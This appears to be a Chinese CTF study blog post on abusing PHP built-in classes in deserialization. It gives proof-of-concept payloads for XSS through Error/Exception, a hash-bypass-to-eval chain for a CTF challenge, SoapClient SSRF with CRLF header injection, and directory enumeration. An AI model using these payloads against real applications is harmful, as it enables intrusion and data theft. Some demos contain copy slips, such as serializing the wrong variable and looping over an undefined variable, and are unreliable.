前言
有时候会遇到一些反序列化,给出了反序列化函数,但是没有给出类,这种情况下就需要用到原生类。
之前做 CTF 题的时候就遇到了,一直拖到现在。。。。。。
先总结一部分遇到的,如果遇到新的再加。
Error / Exception
在特定的环境下利用内置的 __toString()
方法,可以自定义$message
中的字符串。
Error 类
Error 是所有 PHP 内部错误类的基类,用于定义一个错误。
适用于 PHP 7 / 8 版本,且开启报错
摘要:
class Error implements Throwable {
/* 属性 */
protected string $message = ""; # 错误消息内容
private string $string = ""; # 字符串形式的堆栈跟踪
protected int $code; # 错误代码
protected string $file = ""; # 抛出错误的文件名
protected int $line; # 抛出错误的行数
private array $trace = []; # 数组形式的堆栈跟踪
private ?Throwable $previous = null; # 之前抛出的异常
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null) # 初始化 error 对象
final public getMessage(): string # 获取错误信息
final public getPrevious(): ?Throwable # 返回先前的 Throwable
final public getCode(): int # 获取错误代码
final public getFile(): string # 获取错误发生时的文件
final public getLine(): int # 获取错误发生时的行号
final public getTrace(): array # 获取调用栈(stack trace)
final public getTraceAsString(): string # 获取字符串形式的调用栈(stack trace)
public __toString(): string # error 的字符串表达
private __clone(): void # 克隆 error
}
- 演示

Exception 类
Exception 是所有用户级异常的基类,用于定义一个异常。
适用于 PHP 5 / 7 / 8 版本,且开启异常
- 摘要:
class Exception implements Throwable {
/* 属性 */
protected string $message = ""; # 异常消息内容
private string $string = ""; # 字符串形式的堆栈跟踪
protected int $code; # 异常代码
protected string $file = ""; # 抛出异常的文件名
protected int $line; # 抛出异常在该文件中的行号
private array $trace = []; # 数组形式的堆栈跟踪
private ?Throwable $previous = null; # 之前抛出的异常
/* 方法 */
public __construct(string $message = "", int $code = 0, ?Throwable $previous = null) # 异常构造函数
final public getMessage(): string # 获取异常消息内容
final public getPrevious(): ?Throwable # 返回前一个 Throwable
final public getCode(): int # 获取异常代码
final public getFile(): string # 创建异常时的程序文件名称
final public getLine(): int # 获取创建的异常所在文件中的行号
final public getTrace(): array # 获取异常追踪信息
final public getTraceAsString(): string # 获取字符串类型的异常追踪信息
public __toString(): string # 将异常对象转换为字符串
private __clone(): void # 异常克隆
}
- 演示

XSS
存在输出函数,且输出内容可控时,存在 xss 漏洞
测试代码:
<?php $a = unserialize($_GET['nayst']); echo $a; ?>
poc
<?php // Error $error = new Error("<script>alert('Error Test')</script>"); echo urlencode(serialize($error)); // 输出:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A36%3A%22%3Cscript%3Ealert%28%27Error+Test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CEnvironment%5Cphpstudy_pro%5CWWW%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D // Exception $exception = new Exception("<script>alert('Exception Test')</script>"); echo urlencode(serialize($error)); // 输出:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A40%3A%22%3Cscript%3Ealert%28%27Exception+Test%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A39%3A%22D%3A%5CEnvironment%5Cphpstudy_pro%5CWWW%5Cpoc.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D
结果
成功执行!
bypass
在特定条件下,这两个类可以实例化两个完全相同的对象,由此绕过比较。
测试代码(来自**[2020 极客大挑战]Greatphp**)
<?php error_reporting(0); class SYCLOVER { public $syc; public $lover; public function __wakeup() { if (($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover))) { eval($this->syc); # 通过 if 后可以执行代码 } else { die("Try Hard !!"); } } } if (isset($_GET['great'])) { unserialize($_GET['great']); } else { highlight_file(__FILE__); }
poc
定义两个
Error
,比较可以发现,除了行号,其他字段都相同。那么当两个
Error
在同一行时,两者相等。由此可以绕过哈希值检测。
当传入第二个参数
$code
时,不会影响内容。通过控制此参数可以绕过弱比较。
综上,构造poc
<?php class SYCLOVER { public $syc; public $lover; public function __wakeup(){ if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){ if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){ eval($this->syc); } else { die("Try Hard !!"); } } } } $str = "?><?php phpinfo();?>"; # 必须先闭合,绕过前面的代码,不然会报错 $a=new Error($str,1);$b=new Error($str,2); $c = new SYCLOVER(); $c->syc = $a; $c->lover = $b; echo(urlencode(serialize($c))); ?>
成功执行!
Exception
类与Error
类同理。
SoapClient
SoapClient 内置类是一个专门用来访问 web 服务的类,可以提供一个基于 SOAP 协议访问 Web 服务的 PHP 客户端。
类似 Python 中的 requests 库,可以与浏览器之间交互,并向其发送报文。
适用于 PHP 5 / 7 / 8,需要开启extension=php_soap.dll选项
摘要:
class SoapClient {
/* 方法 */
public __construct ( string|null $wsdl , array $options = [] )
public __call ( string $name , array $args ) : mixed
public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
public __getCookies ( ) : array
public __getFunctions ( ) : array|null
public __getLastRequest ( ) : string|null
public __getLastRequestHeaders ( ) : string|null
public __getLastResponse ( ) : string|null
public __getLastResponseHeaders ( ) : string|null
public __getTypes ( ) : array|null
public __setCookie ( string $name , string|null $value = null ) : void
public __setLocation ( string $location = "" ) : string|null
public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}
在新建一个SoapClient
的类对象的时候,需要有两个参数:
- 一个是字符串形式的
wsdl
,描述服务的 WSDL 文件的 URI,用于自动配置客户端,将该值设为 null 则表示非 wsdl 模式。(wsdl,就是一个xml格式的文档,用于描述Web Server的定义) - 另一个是数组形式的
options
,为 SOAP 客户端指定附加选项的关联数组。如果是 wsdl 模式,这是可选的;否则,至少提供location
并且uri
。其中location
是要将请求发送到的 SOAP 服务器的 URL ,而uri
是 SOAP 服务的目标命名空间。
此类中存在__call
函数,用于调用 SOAP 函数。
SSRF
由于 $options
中的字段可控,利用 CRLF 恶意注入一些参数。
测试代码
在靶机上监听端口,接数据
$ nc -lvnp 1234
看看原始数据是什么样的
<?php $target = "http://192.168.254.128:1234"; $test = new SoapClient(null, array("location" => $target, "uri" => "test")); $do = unserialize(serialize($test)); $do -> nayst();
尝试修改 ua 并插入 Cookie
<?php $target = "http://192.168.254.128:1234"; $user_agent = "nayst\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4"; $test = new SoapClient(null, array("location" => $target, "user_agent" => $user_agent, "uri" => "test")); $do = unserialize(serialize($test)); $do -> nayst();
可以看到成功修改 ua 并插入 Cookie!
Reflection
PHP Reflection是用于获取类、扩展、方法、函数、对象、参数、属性的详细信息。
ReflectionClass 类
ReflectionClass 类用于获取类相关信息,如获取属性、方法、文档注释等。
适用于 PHP 5 / 7 / 8
- 摘要(部分):
class ReflectionClass implements Reflector {
/* 常量 */
const integer IS_IMPLICIT_ABSTRACT = 16;
const integer IS_EXPLICIT_ABSTRACT = 32;
const integer IS_FINAL = 64;
/* 属性 */
public $name; # 类的名称
/* 方法 */
public __construct(mixed $argument) # 初始化一个类
public __toString(): string # 返回 ReflectionClass 对象字符串的表示形式
public getConstant(string $name): mixed # 获取已定义的常量
public getConstructor(): ReflectionMethod # 获取类的构造函数
public getDocComment(): string # 获取文档注释
public getEndLine(): int # 获取最后一行的行数
public getExtensionName(): string # 获取定义的类所在的扩展的名称
public getFileName(): string # 获取定义类的文件名
public getInterfaceNames(): array # 获取接口(interface)名称
public getInterfaces(): array # 获取接口
public getMethods(int $filter = ?): array # 获取方法的数组
public getModifiers(): int # 获取类的修饰符
public getName(): string # 获取类名
public getNamespaceName(): string # 获取命名空间的名称
public getParentClass(): ReflectionClass # 获取父类
public getShortName(): string # 获取短名
public getStartLine(): int # 获取起始行号
public getStaticProperties(): array # 获取静态(static)属性
}
- 演示
<?php
class people{
public $name;
public $age;
public function walk(){
echo "go";
}
}
$test = new ReflectionClass("people");
echo $test;
输出 people
类的相关信息

ReflectionMethod & ReflectionFunction 类
ReflectionMethod 类与 ReflectionFunction 类都报告了一个方法的有关信息。区别在于,前者基于类中的函数,后者基于一般函数。
两类大致相同,下面主要介绍前者。
适用于 PHP 5 / 7 / 8
此类继承于 ReflectionFunctionAbstract 类。
- 摘要(部分):
class ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/* 属性 */
public $name;
public $class;
/* 方法 */
public __construct(mixed $class, string $name) # 构造函数
public getClosure(object $object): Closure # 返回一个动态建立的方法调用接口
public getDeclaringClass(): ReflectionClass # 获取被反射的方法所在类的反射实例
public getModifiers(): int # 获取方法的修饰符
public getPrototype(): ReflectionMethod # 返回方法原型 (如果存在)
public invoke(object $object, mixed $parameter = ?, mixed $... = ?): mixed # 执行此函数
public isAbstract(): bool # 判断方法是否是抽象方法
public isConstructor(): bool # 判断方法是否是构造方法
public isDestructor(): bool # 判断方法是否是析构方法
public isFinal(): bool # 判断方法是否定义 final
public isPrivate(): bool # 判断方法是否是私有方法
public isProtected(): bool # 判断方法是否是保护方法 (protected)
public isPublic(): bool # 判断方法是否是公开方法
public isStatic(): bool # 判断方法是否是静态方法
public __toString(): string # 返回反射方法对象的字符串表达
}
- 演示
<?php
class people{
public $name;
public $age;
public function walk(){
echo "go";
}
}
$test = new ReflectionMethod("people", "walk");
echo $test;
输出 people
类中 walk()
函数的相关信息

利用 ReflectionFunction 可以执行系统函数。

ReflectionExtension 类
ReflectionExtension 类报告了一个扩展(extension)的有关信息。
适用于 PHP 5 / 7 / 8
- 摘要:
class ReflectionExtension implements Reflector {
/* 属性 */
public $name; # 扩展的名称
/* 方法 */
public __construct(string $name) # 构造函数
public getClasses(): array # 获取类
public getClassNames(): array # 获取类名
public getConstants(): array # 获取常量
public getDependencies(): array # 获取依赖
public getFunctions(): array # 获取扩展中的函数
public getINIEntries(): array # 获取ini配置
public getName(): string # 获取扩展名
public getVersion(): string # 获取扩展版本
public info(): void # 获取扩展信息
public __toString(): string # 返回对象的字符串表达
}
- 演示
<?php
$test = new ReflectionExtension("ReflectionExtension");
echo $test;

SimpleXMLElement
SimpleXMLElement 类用于解析 XML 文档中的元素。
适用于 PHP 5 / 7 / 8
- 摘要(部分):
class SimpleXMLElement implements Stringable, Countable, RecursiveIterator {
/* Methods */
public __construct(
string $data,
int $options = 0,
bool $dataIsURL = false,
string $namespaceOrPrefix = "",
bool $isPrefix = false
) # 创建一个新的 SimpleXMLElement 对象
public addAttribute(
string $qualifiedName,
string $value,
?string $namespace = null
): void # 将属性添加到 SimpleXML 元素
public addChild(
string $qualifiedName,
?string $value = null,
?string $namespace = null
): ?SimpleXMLElement # 将子元素添加到 XML 节点
public asXML(?string $filename = null): string|bool # 返回基于 SimpleXML 元素的格式良好的 XML 字符串
public attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement # 标识元素的属性
public children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement # 查找给定节点的子节点
public count(): int # 计算元素的子元素
public getDocNamespaces(bool $recursive = false, bool $fromRoot = true): array|false # 返回文档中声明的命名空间
public getName(): string # 获取 XML 元素的名称
public getNamespaces(bool $recursive = false): array # 返回文档中使用的命名空间
public registerXPathNamespace(string $prefix, string $namespace): bool # 为下一个 XPath 查询创建一个前缀/ns 上下文
public __toString(): string # 返回对象的字符串表达
public xpath(string $expression): array|null|false # 对 XML 数据运行 XPath 查询
}
创建此对象的参数:
$data:格式正确的 XML 字符串或 XML 文档的路径或 URL(如果
dataIsURL
是 true )。$options:可选地用于指定额外的 Libxml 参数,这些参数会影响 XML 文档的读取。
$dataIsUrl:默认情况下,
dataIsURL
为 false。使用 true 指定数据是 XML 文档的路径或 URL,而不是字符串数据。$namespaceOrPrefix:命名空间前缀或 URI。
$isPrefix:默认为 false。如果 namespaceOrPrefix 是前缀,则为 true;如果它是 URI,则为 false。
通过设置第三个参数$dataIsUrl
可以实现远程 xml 文件的载入。
- 演示
实例先放着,调了一下午也没调明白,等以后有机会了在搞清楚。
File / Directory
PHP 中一些内置类可以操作文件,获取路径或获取文件内容等。
SplFileObject 类
SplFileObject 类为单个文件的信息提供了一个面向对象的接口。
适用于 PHP >= 5.1.0 / 7 / 8
此类继承于 SplFileInfo。
- 摘要(部分):
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* Constants */
const int DROP_NEW_LINE = 1;
const int READ_AHEAD = 2;
const int SKIP_EMPTY = 4;
const int READ_CSV = 8;
/* Methods */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false # 检索文件的当前行
public eof(): bool # 到达文件末尾
public fflush(): bool # 将输出刷新到文件
public fgetc(): string|false # 从文件中获取字符
public fgetcsv(
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): array|false # 从文件中获取行并解析为 CSV 字段
public fgets(): string # 从文件中获取行
public fgetss(string $allowable_tags = ?): string # 从文件中获取行并去除 HTML 标记
public flock(int $operation, int &$wouldBlock = null): bool # 便携式文件锁定
public fpassthru(): int # 输出文件指针上的所有剩余数据
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false # 将字段数组写入 CSV 行
public fread(int $length): string|false # 从文件中读取
public fscanf(string $format, mixed &...$vars): array|int|null # 根据格式解析来自文件的输入
public fseek(int $offset, int $whence = SEEK_SET): int # 寻找一个位置
public fstat(): array # 获取有关文件的信息
public ftell(): int|false # 返回当前文件位置
public ftruncate(int $size): bool # 将文件截断为给定长度
public fwrite(string $data, int $length = 0): int|false # 写入文件
public getCsvControl(): array # 获取 CSV 的分隔符、外壳和转义字符
public getFlags(): int # 获取 SplFileObject 的标志
public getMaxLineLen(): int # 获取最大行长
public key(): int # 获取行号
public next(): void # 读取下一行
public rewind(): void # 将文件倒回第一行
public seek(int $line): void # 寻找指定行
public setCsvControl(
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\"
): void # 设置 CSV 的分隔符、外壳和转义字符
public setFlags(int $flags): void # 设置 SplFileObject 的标志
public setMaxLineLen(int $maxLength): void # 设置最大行长
}
- 演示
<?php
$file = new SplFileObject("flag.php");
foreach($dir as $file){
echo($file."\n");
}

DirectoryIterator 类
DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。该类的构造方法将会创建一个指定目录的迭代器。
适用于 PHP 5 / 7 / 8
此类继承于 SplFileInfo 类。
- 摘要(部分):
class DirectoryIterator extends SplFileInfo implements SeekableIterator {
/* Methods */
public __construct(string $directory) # 从路径构造一个新的目录迭代器
public current(): mixed # 返回当前的项
public getATime(): int # 获取当前项的最后访问时间
public getBasename(string $suffix = ""): string # 获取当前项目的基本名称
public getCTime(): int # 获取当前项的 inode 更改时间
public getExtension(): string # 获取文件扩展名
public getFilename(): string # 返回当前项的文件名
public getGroup(): int # 获取当前项目的组
public getInode(): int # 获取当前项的 inode
public getMTime(): int # 获取当前项的最后修改时间
public getOwner(): int # 获取当前项的所有者
public getPath(): string # 获取当前迭代器项的路径,不带文件名
public getPathname(): string # 返回当前项的路径和文件名
public getPerms(): int # 获取当前项的权限
public getSize(): int # 获取当前项的大小
public getType(): string # 确定当前项的类型
public isDir(): bool # 确定当前项是否为目录
public isDot(): bool # 确定当前项目是否为 '.' 或者 '..'
public isExecutable(): bool # 确定当前项是否可执行
public isFile(): bool # 确定当前项是否为常规文件
public isLink(): bool # 确定当前项是否为符号链接
public isReadable(): bool # 确定当前项目是否可以读取
public isWritable(): bool # 确定当前项目是否可以写入
public key(): mixed # 返回当前项的键
public next(): void # 前进到下一个项
public rewind(): void # 将 DirectoryIterator 倒回到起点
public seek(int $offset): void # 寻找项目
public __toString(): string # 获取文件名作为字符串
public valid(): bool # 检查当前位置是否为有效文件
}
- 演示
<?php
$file = new DirectoryIterator("flag.php");
foreach($dir as $file){
echo($file."\n");
}
经过遍历可以得到整个根目录下的文件,我这里是D盘,所以输出了我D盘下的所有文件及文件夹。

结合glob://
协议可以搜索文件:

FilesystemIterator 类
FilesystemIterator 类与 DirectoryIterator 类相同,提供了一个用于查看文件系统目录内容的简单接口。该类的构造方法将会创建一个指定目录的迭代器。
适用于 PHP >= 5.3.0 / 7 / 8
此类继承于 DirectoryIterator 类。
- 摘要:
class FilesystemIterator extends DirectoryIterator {
/* Constants */
const int CURRENT_AS_PATHNAME = 32;
const int CURRENT_AS_FILEINFO = 0;
const int CURRENT_AS_SELF = 16;
const int CURRENT_MODE_MASK = 240;
const int KEY_AS_PATHNAME = 0;
const int KEY_AS_FILENAME = 256;
const int FOLLOW_SYMLINKS = 512;
const int KEY_MODE_MASK = 3840;
const int NEW_CURRENT_AND_KEY = 256;
const int SKIP_DOTS = 4096;
const int UNIX_PATHS = 8192;
/* Methods */
public __construct(string $directory, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO | FilesystemIterator::SKIP_DOTS) # 构造一个新的文件系统迭代器
public current(): string|SplFileInfo|FilesystemIterator # 当前文件
public getFlags(): int # 获取处理标志
public key(): string # 检索当前文件的密钥
public next(): void # 移动到下一个文件
public rewind(): void # 倒回到开头
public setFlags(int $flags): void # 设置处理标志
}
- 演示
除了方法不同,用法什么的跟 DirectoryIterator 类相同,这里就不赘述。
GlobIterator 类
GlobIterator 类用于遍历一个文件系统行为类似于 glob()。
适用于 PHP >= 5.3.0 / 7 / 8
此类继承于 FilesystemIterator 类。
- 摘要:
class GlobIterator extends FilesystemIterator implements Countable {
/* 方法 */
public __construct(string $pattern, int $flags = FilesystemIterator::KEY_AS_PATHNAME | FilesystemIterator::CURRENT_AS_FILEINFO)
public count(): int
}
- 演示
用法与 glob()
函数相同。
<?php
$dir = glob("/*");
foreach($dir as $f){
echo($f."\n");
}
可以根据部分文件名匹配文件或文件夹。
